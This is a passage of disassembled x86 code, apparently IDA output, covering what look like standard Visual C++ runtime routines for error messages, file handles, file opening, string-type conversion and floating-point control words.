ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_416242 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41D77C proc near ; CODE XREF: sub_417C0E+9p ; sub_417C33+9p mov eax, dword_46B688 cmp eax, 1 jz short loc_41D793 test eax, eax jnz short locret_41D7B4 cmp dword_437F14, 1 jnz short locret_41D7B4 loc_41D793: ; CODE XREF: sub_41D77C+8j push 0FCh call sub_41D7B5 mov eax, dword_46B7F4 pop ecx test eax, eax jz short loc_41D7A9 call eax loc_41D7A9: ; CODE XREF: sub_41D77C+29j push 0FFh call sub_41D7B5 pop ecx locret_41D7B4: ; CODE XREF: sub_41D77C+Cj ; sub_41D77C+15j retn sub_41D77C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7B5 proc near ; CODE XREF: sub_417C0E+12p ; sub_417C33+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43A5A8 loc_41D7C8: ; CODE XREF: sub_41D7B5+20j cmp edx, [eax] jz short loc_41D7D7 add eax, 8 inc ecx cmp eax, offset off_43A638 jl short loc_41D7C8 loc_41D7D7: ; CODE XREF: sub_41D7B5+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43A5A8[esi] jnz loc_41D905 mov eax, dword_46B688 cmp eax, 1 jz loc_41D8DF test eax, eax jnz short loc_41D808 cmp dword_437F14, 1 jz loc_41D8DF loc_41D808: ; CODE XREF: sub_41D7B5+44j cmp edx, 0FCh jz loc_41D905 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_42107C ; GetModuleFileNameA test eax, eax jnz short loc_41D83F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_415A20 pop ecx pop ecx loc_41D83F: ; CODE XREF: sub_41D7B5+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_415B10 inc eax pop ecx cmp eax, 3Ch jbe short loc_41D882 lea eax, [ebp+var_1A4] push eax call sub_415B10 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416BE0 add esp, 10h loc_41D882: ; CODE XREF: sub_41D7B5+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_415A20 lea eax, [ebp+var_A0] push edi push eax call sub_415A30 lea eax, [ebp+var_A0] push offset asc_421B70 ; "\n\n" push eax call sub_415A30 push off_43A5AC[esi] lea eax, [ebp+var_A0] push eax call sub_415A30 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41EF8E add esp, 2Ch pop edi jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DF: ; CODE XREF: sub_41D7B5+3Cj ; sub_41D7B5+4Dj lea eax, [ebp+arg_0] lea esi, off_43A5AC[esi] push 0 push eax push dword ptr [esi] call sub_415B10 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_421034 ; GetStdHandle push eax call dword_421070 ; WriteFile loc_41D905: ; CODE XREF: sub_41D7B5+2Ej ; sub_41D7B5+59j ... pop esi leave retn sub_41D7B5 endp ; =============== S U B R O U T I N E ======================================= sub_41D908 proc near ; CODE XREF: sub_417C57+6Cp ; sub_41C178+32p ... arg_0 = dword ptr 4 inc dword_46B7F8 push 1000h call sub_415BE9 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41D931 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41D942 ; --------------------------------------------------------------------------- loc_41D931: ; CODE XREF: sub_41D908+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41D942: ; CODE XREF: sub_41D908+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41D908 endp ; =============== S U B R O U T I N E ======================================= sub_41D94C proc near ; CODE XREF: sub_417C57+61p ; sub_4187D6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46CA60 jb short loc_41D95B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D95B: ; CODE XREF: sub_41D94C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46C960[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41D94C endp ; =============== S U B R O U T I N E ======================================= sub_41D972 proc near ; DATA XREF: seg001:00423020o mov eax, dword_46C940 push esi push 14h test eax, eax pop esi jnz short loc_41D986 mov eax, 200h jmp short loc_41D98C ; --------------------------------------------------------------------------- loc_41D986: ; CODE XREF: sub_41D972+Bj cmp eax, esi jge short loc_41D991 mov eax, esi loc_41D98C: ; CODE XREF: sub_41D972+12j mov dword_46C940, eax loc_41D991: ; CODE XREF: sub_41D972+16j push 4 push eax call sub_41F017 pop ecx mov dword_46B928, eax test eax, eax pop ecx jnz short loc_41D9C5 push 4 push esi mov dword_46C940, esi call sub_41F017 pop ecx mov dword_46B928, eax test eax, eax pop ecx jnz short loc_41D9C5 push 1Ah call sub_417C0E pop ecx loc_41D9C5: ; CODE XREF: sub_41D972+30j ; sub_41D972+49j xor ecx, ecx mov eax, offset off_43A638 loc_41D9CC: ; CODE XREF: sub_41D972+6Ej mov edx, dword_46B928 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43A8B8 jl short loc_41D9CC xor edx, edx mov ecx, offset dword_43A648 loc_41D9E9: ; CODE XREF: sub_41D972+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_46C960[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41DA06 test eax, eax jnz short loc_41DA09 loc_41DA06: ; CODE XREF: sub_41D972+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41DA09: ; CODE XREF: sub_41D972+92j add ecx, 20h inc edx cmp ecx, offset dword_43A6A8 jl short loc_41D9E9 pop esi retn sub_41D972 endp ; =============== S U B R O U T I N E ======================================= sub_41DA17 proc near ; DATA XREF: seg001:00423030o ; FUNCTION CHUNK AT 0041F0C8 SIZE 00000058 BYTES call sub_418760 cmp byte_46B674, 0 jz short locret_41DA2A jmp loc_41F0C8 ; --------------------------------------------------------------------------- locret_41DA2A: ; CODE XREF: sub_41DA17+Cj retn sub_41DA17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA2B proc near ; CODE XREF: sub_417D6C+2D4p ; sub_417D6C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41DA37 pop ebp retn ; --------------------------------------------------------------------------- loc_41DA37: ; CODE XREF: sub_41DA2B+8j cmp dword_46B6CC, 0 jnz short loc_41DA52 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41DA84 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41DA52: ; CODE XREF: sub_41DA2B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43812C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_46B6DC call dword_421138 ; WideCharToMultiByte test eax, eax jz short loc_41DA84 cmp [ebp+arg_0], 0 jz short loc_41DA91 loc_41DA84: ; CODE XREF: sub_41DA2B+1Ej ; sub_41DA2B+51j mov dword_46B634, 2Ah or eax, 0FFFFFFFFh loc_41DA91: ; CODE XREF: sub_41DA2B+57j pop ebp retn sub_41DA2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA93 proc near ; CODE XREF: sub_418576+5Ep ; sub_41CA9C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421BB0 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_46B7FC xor ebx, ebx cmp eax, ebx jnz short loc_41DB02 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4218A0 push esi call dword_421028 ; GetStringTypeW test eax, eax jz short loc_41DAE0 mov eax, esi jmp short loc_41DAFD ; --------------------------------------------------------------------------- loc_41DAE0: ; CODE XREF: sub_41DA93+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43B198 push esi push ebx call dword_42102C ; GetStringTypeA test eax, eax jz loc_41DBC8 push 2 pop eax loc_41DAFD: ; CODE XREF: sub_41DA93+4Bj mov dword_46B7FC, eax loc_41DB02: ; CODE XREF: sub_41DA93+2Fj cmp eax, 2 jnz short loc_41DB2B mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41DB13 mov eax, dword_46B6CC loc_41DB13: ; CODE XREF: sub_41DA93+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_42102C ; GetStringTypeA jmp loc_41DBCA ; --------------------------------------------------------------------------- loc_41DB2B: ; CODE XREF: sub_41DA93+72j cmp eax, 1 jnz loc_41DBC8 cmp [ebp+arg_10], ebx jnz short loc_41DB41 mov eax, dword_46B6DC mov [ebp+arg_10], eax loc_41DB41: ; CODE XREF: sub_41DA93+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_421064 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41DBC8 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_415B90 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_415390 add esp, 0Ch jmp short loc_41DB97 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41DB97: ; CODE XREF: sub_41DA93+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41DBC8 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_421064 ; MultiByteToWideChar cmp eax, ebx jz short loc_41DBC8 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_421028 ; GetStringTypeW jmp short loc_41DBCA ; --------------------------------------------------------------------------- loc_41DBC8: ; CODE XREF: sub_41DA93+61j ; sub_41DA93+9Bj ... xor eax, eax loc_41DBCA: ; CODE XREF: sub_41DA93+93j ; sub_41DA93+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41DA93 endp ; =============== S U B R O U T I N E ======================================= sub_41DBDC proc near ; CODE XREF: sub_41DDF6:loc_41DF6Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_46C960 loc_41DBEB: ; CODE XREF: sub_41DBDC+48j mov eax, [ecx] test eax, eax jz short loc_41DC28 lea edx, [eax+100h] loc_41DBF7: ; CODE XREF: sub_41DBDC+28j cmp eax, edx jnb short loc_41DC17 test byte ptr [eax+4], 1 jz short loc_41DC06 add eax, 8 jmp short loc_41DBF7 ; --------------------------------------------------------------------------- loc_41DC06: ; CODE XREF: sub_41DBDC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41DC6B loc_41DC17: ; CODE XREF: sub_41DBDC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_46CA60 jl short loc_41DBEB jmp short loc_41DC6B ; --------------------------------------------------------------------------- loc_41DC28: ; CODE XREF: sub_41DBDC+13j mov esi, 100h push esi call sub_415BE9 test eax, eax pop ecx jz short loc_41DC6B add dword_46CA60, 20h lea ecx, ds:46C960h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41DC4E: ; CODE XREF: sub_41DBDC+88j cmp eax, edx jnb short loc_41DC66 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41DC4E ; --------------------------------------------------------------------------- loc_41DC66: ; CODE XREF: sub_41DBDC+74j shl edi, 5 mov ebx, edi loc_41DC6B: ; CODE XREF: sub_41DBDC+39j ; sub_41DBDC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41DBDC endp ; =============== S U B R O U T I N E ======================================= sub_41DC71 proc near ; CODE XREF: sub_41DDF6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46CA60 push edi jnb short loc_41DCD1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46C960h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41DCD1 cmp dword_437F14, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41DCC7 sub eax, 0 jz short loc_41DCBE dec eax jz short loc_41DCB9 dec eax jnz short loc_41DCC7 push ebx push 0FFFFFFF4h jmp short loc_41DCC1 ; --------------------------------------------------------------------------- loc_41DCB9: ; CODE XREF: sub_41DC71+3Ej push ebx push 0FFFFFFF5h jmp short loc_41DCC1 ; --------------------------------------------------------------------------- loc_41DCBE: ; CODE XREF: sub_41DC71+3Bj push ebx push 0FFFFFFF6h loc_41DCC1: ; CODE XREF: sub_41DC71+46j ; sub_41DC71+4Bj call dword_421024 ; SetStdHandle loc_41DCC7: ; CODE XREF: sub_41DC71+36j ; sub_41DC71+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41DCE5 ; --------------------------------------------------------------------------- loc_41DCD1: ; CODE XREF: sub_41DC71+Cj ; sub_41DC71+28j and dword_46B638, 0 mov dword_46B634, 9 or eax, 0FFFFFFFFh loc_41DCE5: ; CODE XREF: sub_41DC71+5Ej pop edi pop esi retn sub_41DC71 endp ; =============== S U B R O U T I N E ======================================= sub_41DCE8 proc near ; CODE XREF: sub_4185EB+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_46CA60 push edi jnb short loc_41DD4B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:46C960h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41DD4B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41DD4B cmp dword_437F14, 1 jnz short loc_41DD41 xor eax, eax sub ecx, eax jz short loc_41DD38 dec ecx jz short loc_41DD33 dec ecx jnz short loc_41DD41 push eax push 0FFFFFFF4h jmp short loc_41DD3B ; --------------------------------------------------------------------------- loc_41DD33: ; CODE XREF: sub_41DCE8+41j push eax push 0FFFFFFF5h jmp short loc_41DD3B ; --------------------------------------------------------------------------- loc_41DD38: ; CODE XREF: sub_41DCE8+3Ej push eax push 0FFFFFFF6h loc_41DD3B: ; CODE XREF: sub_41DCE8+49j ; sub_41DCE8+4Ej call dword_421024 ; SetStdHandle loc_41DD41: ; CODE XREF: sub_41DCE8+38j ; sub_41DCE8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41DD5F ; --------------------------------------------------------------------------- loc_41DD4B: ; CODE XREF: sub_41DCE8+Cj ; sub_41DCE8+2Aj ... and dword_46B638, 0 mov dword_46B634, 9 or eax, 0FFFFFFFFh loc_41DD5F: ; CODE XREF: sub_41DCE8+61j pop edi pop esi retn sub_41DCE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DD62 proc near ; CODE XREF: sub_4185EB+32p ; sub_4185EB+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46CA60 jnb short loc_41DD8A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46C960[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41DD8A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41DD8A: ; CODE XREF: sub_41DD62+Aj ; sub_41DD62+23j and dword_46B638, 0 mov dword_46B634, 9 or eax, 0FFFFFFFFh retn sub_41DD62 endp ; =============== S U B R O U T I N E ======================================= sub_41DD9F proc near ; CODE XREF: sub_4186C9+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46CA60 jnb short loc_41DDE8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_46C960[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41DDE8 push eax call sub_41DD62 pop ecx push eax call dword_421020 ; FlushFileBuffers test eax, eax jnz short loc_41DDDD call dword_421088 ; RtlGetLastWin32Error jmp short loc_41DDDF ; --------------------------------------------------------------------------- loc_41DDDD: ; CODE XREF: sub_41DD9F+34j xor eax, eax loc_41DDDF: ; CODE XREF: sub_41DD9F+3Cj test eax, eax jz short locret_41DDF5 mov dword_46B638, eax loc_41DDE8: ; CODE XREF: sub_41DD9F+Aj ; sub_41DD9F+22j mov dword_46B634, 9 or eax, 0FFFFFFFFh locret_41DDF5: ; CODE XREF: sub_41DD9F+42j retn sub_41DD9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDF6 proc near ; CODE XREF: sub_4188A0+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41DE1C mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41DE27 ; --------------------------------------------------------------------------- loc_41DE1C: ; CODE XREF: sub_41DDF6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41DE27: ; CODE XREF: sub_41DDF6+24j mov eax, 8000h test ecx, eax jnz short loc_41DE41 test ch, 40h jnz short loc_41DE3D cmp dword_46B908, eax jz short loc_41DE41 loc_41DE3D: ; CODE XREF: sub_41DDF6+3Dj or [ebp+var_1], 80h loc_41DE41: ; CODE XREF: sub_41DDF6+38j ; sub_41DDF6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41DE79 dec eax jz short loc_41DE70 dec eax jz short loc_41DE67 loc_41DE52: ; CODE XREF: sub_41DDF6+9Fj ; sub_41DDF6+E8j ... mov dword_46B634, 16h mov dword_46B638, ebx jmp loc_41E08C ; --------------------------------------------------------------------------- loc_41DE67: ; CODE XREF: sub_41DDF6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41DE80 ; --------------------------------------------------------------------------- loc_41DE70: ; CODE XREF: sub_41DDF6+57j mov [ebp+var_C], 40000000h jmp short loc_41DE80 ; --------------------------------------------------------------------------- loc_41DE79: ; CODE XREF: sub_41DDF6+54j mov [ebp+var_C], 80000000h loc_41DE80: ; CODE XREF: sub_41DDF6+78j ; sub_41DDF6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41DEAE cmp eax, 20h jz short loc_41DEA5 cmp eax, 30h jz short loc_41DE9C cmp eax, 40h jnz short loc_41DE52 mov [ebp+var_10], esi jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DE9C: ; CODE XREF: sub_41DDF6+9Aj mov [ebp+var_10], 2 jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DEA5: ; CODE XREF: sub_41DDF6+95j mov [ebp+var_10], 1 jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DEAE: ; CODE XREF: sub_41DDF6+90j mov [ebp+var_10], ebx loc_41DEB1: ; CODE XREF: sub_41DDF6+A4j ; sub_41DDF6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41DEFB jz short loc_41DEF6 cmp ecx, ebx jz short loc_41DEF6 cmp ecx, edi jz short loc_41DEED cmp ecx, 200h jz short loc_41DF14 cmp ecx, 300h jnz loc_41DE52 mov [ebp+var_8], 2 jmp short loc_41DF24 ; --------------------------------------------------------------------------- loc_41DEED: ; CODE XREF: sub_41DDF6+D8j mov [ebp+var_8], 4 jmp short loc_41DF24 ; --------------------------------------------------------------------------- loc_41DEF6: ; CODE XREF: sub_41DDF6+D0j ; sub_41DDF6+D4j mov [ebp+var_8], esi jmp short loc_41DF24 ; --------------------------------------------------------------------------- loc_41DEFB: ; CODE XREF: sub_41DDF6+CEj cmp ecx, 500h jz short loc_41DF1D cmp ecx, 600h jz short loc_41DF14 cmp ecx, edx jz short loc_41DF1D jmp loc_41DE52 ; --------------------------------------------------------------------------- loc_41DF14: ; CODE XREF: sub_41DDF6+E0j ; sub_41DDF6+113j mov [ebp+var_8], 5 jmp short loc_41DF24 ; --------------------------------------------------------------------------- loc_41DF1D: ; CODE XREF: sub_41DDF6+10Bj ; sub_41DDF6+117j mov [ebp+var_8], 1 loc_41DF24: ; CODE XREF: sub_41DDF6+F5j ; sub_41DDF6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41DF43 mov ecx, dword_46B63C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41DF43 push 1 pop esi loc_41DF43: ; CODE XREF: sub_41DDF6+138j ; sub_41DDF6+148j test al, 40h jz short loc_41DF51 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41DF51: ; CODE XREF: sub_41DDF6+14Fj test ah, 10h jz short loc_41DF58 or esi, edi loc_41DF58: ; CODE XREF: sub_41DDF6+15Ej test al, 20h jz short loc_41DF64 or esi, 8000000h jmp short loc_41DF6E ; --------------------------------------------------------------------------- loc_41DF64: ; CODE XREF: sub_41DDF6+164j test al, 10h jz short loc_41DF6E or esi, 10000000h loc_41DF6E: ; CODE XREF: sub_41DDF6+16Cj ; sub_41DDF6+170j call sub_41DBDC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41DF8F and dword_46B638, 0 mov dword_46B634, 18h jmp short loc_41DFCD ; --------------------------------------------------------------------------- loc_41DF8F: ; CODE XREF: sub_41DDF6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_421078 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41DFC0 push esi call dword_421030 ; GetFileType test eax, eax jnz short loc_41DFD4 push esi call dword_42106C ; CloseHandle loc_41DFC0: ; CODE XREF: sub_41DDF6+1B6j call dword_421088 ; RtlGetLastWin32Error push eax call sub_41CE74 pop ecx loc_41DFCD: ; CODE XREF: sub_41DDF6+197j mov eax, edi jmp loc_41E0AA ; --------------------------------------------------------------------------- loc_41DFD4: ; CODE XREF: sub_41DDF6+1C1j cmp eax, 2 jnz short loc_41DFDF or [ebp+var_1], 40h jmp short loc_41DFE8 ; --------------------------------------------------------------------------- loc_41DFDF: ; CODE XREF: sub_41DDF6+1E1j cmp eax, 3 jnz short loc_41DFE8 or [ebp+var_1], 8 loc_41DFE8: ; CODE XREF: sub_41DDF6+1E7j ; sub_41DDF6+1ECj push esi push ebx call sub_41DC71 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:46C960h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41E091 test al, 80h jz short loc_41E091 test byte ptr [ebp+arg_4], 2 jz short loc_41E091 push 2 push 0FFFFFFFFh push ebx call sub_41C447 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41E046 cmp dword_46B638, 83h jz short loc_41E091 jmp short loc_41E085 ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41DDF6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41C251 add esp, 0Ch test eax, eax jnz short loc_41E073 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41E073 push [ebp+var_10] push ebx call sub_41F120 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E085 loc_41E073: ; CODE XREF: sub_41DDF6+265j ; sub_41DDF6+26Bj push 0 push 0 push ebx call sub_41C447 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41E091 loc_41E085: ; CODE XREF: sub_41DDF6+24Ej ; sub_41DDF6+27Bj push ebx call sub_4185EB pop ecx loc_41E08C: ; CODE XREF: sub_41DDF6+6Cj or eax, 0FFFFFFFFh jmp short loc_41E0AA ; --------------------------------------------------------------------------- loc_41E091: ; CODE XREF: sub_41DDF6+221j ; sub_41DDF6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41E0A8 test byte ptr [ebp+arg_4], 8 jz short loc_41E0A8 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41E0A8: ; CODE XREF: sub_41DDF6+29Fj ; sub_41DDF6+2A5j mov eax, ebx loc_41E0AA: ; CODE XREF: sub_41DDF6+1D9j ; sub_41DDF6+299j pop edi pop esi pop ebx leave retn sub_41DDF6 endp ; =============== S U B R O U T I N E ======================================= sub_41E0AF proc near ; CODE XREF: sub_41A43E+52p xor eax, eax retn sub_41E0AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0B2 proc near ; CODE XREF: sub_41E0E7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41E0FD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41E18F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41E0B2 endp ; =============== S U B R O U T I N E ======================================= sub_41E0E7 proc near ; CODE XREF: sub_41A72A+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41E0B2 pop ecx pop ecx retn sub_41E0E7 endp ; =============== S U B R O U T I N E ======================================= sub_41E0FD proc near ; CODE XREF: sub_41E0B2+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41E10E push 10h pop eax loc_41E10E: ; CODE XREF: sub_41E0FD+Cj test bl, 4 jz short loc_41E115 or al, 8 loc_41E115: ; CODE XREF: sub_41E0FD+14j test bl, 8 jz short loc_41E11C or al, 4 loc_41E11C: ; CODE XREF: sub_41E0FD+1Bj test bl, 10h jz short loc_41E123 or al, 2 loc_41E123: ; CODE XREF: sub_41E0FD+22j test bl, 20h jz short loc_41E12A or al, 1 loc_41E12A: ; CODE XREF: sub_41E0FD+29j test bl, 2 jz short loc_41E134 or eax, 80000h loc_41E134: ; CODE XREF: sub_41E0FD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41E16C cmp edx, 400h jz short loc_41E169 cmp edx, 800h jz short loc_41E165 cmp edx, esi jnz short loc_41E16C or eax, edi jmp short loc_41E16C ; --------------------------------------------------------------------------- loc_41E165: ; CODE XREF: sub_41E0FD+5Ej or eax, ebp jmp short loc_41E16C ; --------------------------------------------------------------------------- loc_41E169: ; CODE XREF: sub_41E0FD+56j or ah, 1 loc_41E16C: ; CODE XREF: sub_41E0FD+4Ej ; sub_41E0FD+62j ... and ecx, edi pop esi jz short loc_41E17C cmp ecx, ebp jnz short loc_41E181 or eax, 10000h jmp short loc_41E181 ; --------------------------------------------------------------------------- loc_41E17C: ; CODE XREF: sub_41E0FD+72j or eax, 20000h loc_41E181: ; CODE XREF: sub_41E0FD+76j ; sub_41E0FD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41E18E or eax, 40000h locret_41E18E: ; CODE XREF: sub_41E0FD+8Aj retn sub_41E0FD endp ; =============== S U B R O U T I N E ======================================= sub_41E18F proc near ; CODE XREF: sub_41E0B2+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41E19F push 1 pop eax loc_41E19F: ; CODE XREF: sub_41E18F+Bj test bl, 8 jz short loc_41E1A6 or al, 4 loc_41E1A6: ; CODE XREF: sub_41E18F+13j test bl, 4 jz short loc_41E1AD or al, 8 loc_41E1AD: ; CODE XREF: sub_41E18F+1Aj test bl, 2 jz short loc_41E1B4 or al, 10h loc_41E1B4: ; CODE XREF: sub_41E18F+21j test bl, 1 jz short loc_41E1BB or al, 20h loc_41E1BB: ; 